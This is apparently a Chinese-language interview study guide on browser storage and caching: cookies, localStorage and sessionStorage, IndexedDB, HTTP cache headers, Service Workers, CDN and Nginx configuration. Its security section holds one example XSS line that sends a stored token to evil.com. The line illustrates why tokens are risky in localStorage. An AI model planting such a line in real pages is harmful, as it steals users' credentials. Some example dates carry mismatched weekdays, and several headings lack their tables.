前端存储与缓存 面试备战

Cookie / Web Storage / IndexedDB / HTTP Cache / Service Worker / CDN — 深度图解与生产实战

1. 客户端存储方案全景

浏览器提供了多种客户端存储方案，每种方案都有其适用场景。选择正确的存储方式是前端工程师的基本功。

全维度对比表 (12个维度)

2. Cookie 详解

Cookie 结构

Cookie 是浏览器存储在客户端的一小段文本数据，每次 HTTP 请求都会自动携带。

// Set-Cookie 响应头完整语法
Set-Cookie: name=value;
  expires=Wed, 09 Jun 2027 10:18:14 GMT; // 过期时间(绝对)
  max-age=86400;                           // 过期秒数(相对, 优先于expires)
  domain=.example.com;                    // 作用域名(前导.表示含子域)
  path=/;                                 // 作用路径
  secure;                                   // 仅HTTPS发送
  httpOnly;                                 // JS不可读(document.cookie)
  sameSite=Lax;                            // 跨站发送策略

Session Cookie vs Persistent Cookie

SameSite 属性详解

SameSite 决定 Cookie 在跨站请求中是否发送，是防御 CSRF 的重要手段。

生产案例

// ❌ 只在 api.example.com 下可见
Set-Cookie: token=abc; domain=api.example.com

// ✅ 所有子域共享
Set-Cookie: token=abc; domain=.example.com; path=/; SameSite=Lax; Secure; HttpOnly

3. Web Storage (localStorage / sessionStorage)

API Quick Reference

// 存储
localStorage.setItem('key', 'value');        // 存入（自动转字符串）
localStorage.getItem('key');                  // 读取，不存在返回 null
localStorage.removeItem('key');              // 删除某项
localStorage.clear();                           // 清空全部
localStorage.length;                                    // 已存项数
localStorage.key(0);                          // 获取第N个key名

// ⚠️ 只能存字符串！对象需序列化
localStorage.setItem('user', JSON.stringify({ name: '张三', age: 25 }));
const user = JSON.parse(localStorage.getItem('user'));

// sessionStorage API 完全相同，只是作用域不同
sessionStorage.setItem('draft', '临时内容');

Storage 事件 — 跨标签页通信

// 标签页 A：修改数据
localStorage.setItem('theme', 'dark');

// 标签页 B：监听变化（注意：只有其他标签页能收到！）
window.addEventListener('storage', (e) => {
  console.log(e.key);       // 'theme'
  console.log(e.oldValue);  // null (旧值)
  console.log(e.newValue);  // 'dark' (新值)
  console.log(e.url);       // 修改来源的URL
});

生产模式

1. 主题偏好

// 初次加载时读取，无值则用系统偏好
const theme = localStorage.getItem('theme')
  || (window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light');
document.documentElement.setAttribute('data-theme', theme);

2. 表单草稿自动保存

const form = document.querySelector('form');
const draftKey = 'draft:' + location.pathname;

// 恢复草稿
const saved = sessionStorage.getItem(draftKey);
if (saved) Object.assign(form, JSON.parse(saved));

// 自动保存（防抖）
let timer;
form.addEventListener('input', () => {
  clearTimeout(timer);
  timer = setTimeout(() => {
    const data = Object.fromEntries(new FormData(form));
    sessionStorage.setItem(draftKey, JSON.stringify(data));
  }, 300);
});

安全与生产案例

// ❌ 如果页面有XSS，攻击者可以：
new Image().src = 'https://evil.com/steal?token=' + localStorage.getItem('token');

// 1. 限制存储大小（只保留最近N条）
function safeSet(key, data, maxSize = 100) {
  const arr = JSON.parse(localStorage.getItem(key) || '[]');
  arr.push(data);
  if (arr.length > maxSize) arr.splice(0, arr.length - maxSize);
  localStorage.setItem(key, JSON.stringify(arr));
}

// 2. 大数据改用 IndexedDB
// 3. 考虑使用 LZ-String 压缩

4. IndexedDB

什么时候 localStorage 不够用？

数据库结构

基础 CRUD 操作 (使用 idb 库)

import { openDB } from 'idb';

const db = await openDB('myApp', 1, {
  upgrade(db) {
    const store = db.createObjectStore('users', { keyPath: 'id' });
    store.createIndex('by_name', 'name');   // 创建索引
    store.createIndex('by_age', 'age');
  }
});

// Create
await db.add('users', { id: 1, name: '张三', age: 25 });

// Read
const user = await db.get('users', 1);
const byAge = await db.getAllFromIndex('users', 'by_age', IDBKeyRange.lowerBound(20));

// Update
await db.put('users', { id: 1, name: '张三', age: 26 });

// Delete
await db.delete('users', 1);

// 离线写操作 → 同步到服务端
async function saveNote(note) {
  note.status = 'pending';  // 标记为待同步
  note.timestamp = Date.now();
  await db.put('notes', note);

  if (navigator.onLine) {
    await syncToServer(note);
  }
}

// 网络恢复时自动同步
window.addEventListener('online', async () => {
  const pending = await db.getAllFromIndex('notes', 'by_status', 'pending');
  for (const note of pending) await syncToServer(note);
});

5. 浏览器缓存机制

浏览器缓存是前端性能优化的核心。理解缓存策略是面试必考、生产必备的技能。

强缓存 (不问服务器)

强缓存命中时，浏览器直接从本地读取资源，不发送任何请求到服务器，状态码为 200 (from disk/memory cache)。

Expires (HTTP/1.0)

// 绝对过期时间，依赖客户端时钟，不推荐
Expires: Thu, 01 Dec 2026 16:00:00 GMT

Cache-Control (HTTP/1.1, 优先级更高)

协商缓存 (问服务器要不要用缓存)

强缓存过期后，浏览器携带缓存标识去询问服务器："我的缓存还新鲜吗？"，如果没变则返回 304 Not Modified。

方式一：Last-Modified / If-Modified-Since

// 第一次响应 — 服务端告诉浏览器资源最后修改时间
Last-Modified: Wed, 09 Jun 2026 08:00:00 GMT

// 第二次请求 — 浏览器带上这个时间问服务器
If-Modified-Since: Wed, 09 Jun 2026 08:00:00 GMT

// 服务端判断：没修改 → 304 (不返回body，节省带宽)
HTTP/1.1 304 Not Modified

方式二：ETag / If-None-Match (优先级更高)

// 第一次响应 — 服务端返回资源指纹
ETag: "abc123"

// 第二次请求 — 浏览器带上指纹
If-None-Match: "abc123"

// 服务端比对：一致 → 304
HTTP/1.1 304 Not Modified

强缓存 vs 协商缓存对比

完整缓存决策流程图

6. Service Worker 与 PWA

Service Worker 是浏览器在后台独立运行的脚本，可以拦截网络请求、管理缓存、实现离线体验。

Cache API 基本用法

// sw.js — Service Worker 文件

// Install: 预缓存核心资源
const CACHE_NAME = 'app-v1';
const ASSETS = ['/', '/index.html', '/app.js', '/style.css'];

self.addEventListener('install', (e) => {
  e.waitUntil(
    caches.open(CACHE_NAME).then(cache => cache.addAll(ASSETS))
  );
});

// Activate: 清理旧版本缓存
self.addEventListener('activate', (e) => {
  e.waitUntil(
    caches.keys().then(keys =>
      Promise.all(keys.filter(k => k !== CACHE_NAME).map(k => caches.delete(k)))
    )
  );
});

// Fetch: 缓存优先策略
self.addEventListener('fetch', (e) => {
  e.respondWith(
    caches.match(e.request).then(cached => cached || fetch(e.request))
  );
});

常用缓存策略

// Stale While Revalidate 策略
self.addEventListener('fetch', (e) => {
  if (!e.request.url.includes('/api/')) return;

  e.respondWith(
    caches.open('api-cache').then(async cache => {
      const cached = await cache.match(e.request);
      // 后台更新（不阻塞响应）
      const fetchPromise = fetch(e.request).then(response => {
        cache.put(e.request, response.clone());
        return response;
      });
      // 先返回缓存（如果有），同时后台刷新
      return cached || fetchPromise;
    })
  );
});

7. CDN 缓存

CDN 缓存控制

缓存失效策略

# HTML 绝不缓存（或只走协商缓存）
location / {
  add_header Cache-Control "no-cache, must-revalidate";
}

# 带 hash 的静态资源 — 长期缓存
location /static/ {
  add_header Cache-Control "public, max-age=31536000, immutable";
}

# 发版时确保 CDN 刷新 HTML 缓存
# Vercel/Cloudflare 会自动处理，自建CDN需手动刷新

8. 前端缓存策略实战

以一个 Dashboard 项目为例，展示完整的缓存策略配置。

Nginx 配置示例

# Nginx — 完整缓存配置
server {
    listen 443 ssl http2;
    server_name app.example.com;

    # HTML — 不缓存（或只协商缓存）
    location / {
        root /var/www/app;
        try_files $uri /index.html;
        add_header Cache-Control "no-cache, no-store, must-revalidate";
        add_header Pragma "no-cache";
    }

    # 带 hash 的静态资源 — 1年缓存 + immutable
    location /static/ {
        root /var/www/app;
        add_header Cache-Control "public, max-age=31536000, immutable";
        add_header Vary "Accept-Encoding";

        # 开启 gzip
        gzip on;
        gzip_types text/css application/javascript application/json image/svg+xml;
    }

    # 图片 — 1天缓存
    location /images/ {
        root /var/www/app;
        add_header Cache-Control "public, max-age=86400";
    }

    # API 代理 — 不缓存
    location /api/ {
        proxy_pass http://backend:3000;
        add_header Cache-Control "no-store";
    }
}

9. 面试题精选 (20道)

try {
  localStorage.setItem('key', data);
} catch (e) {
  if (e.name === 'QuotaExceededError') {
    // 清理旧数据或切换到 IndexedDB
    console.warn('Storage quota exceeded');
  }
}

// 核心架构
SW (Cache API) → 静态资源离线可用
IndexedDB      → 业务数据本地存储
Background Sync → 网络恢复自动同步
Online/Offline Event → UI 状态反馈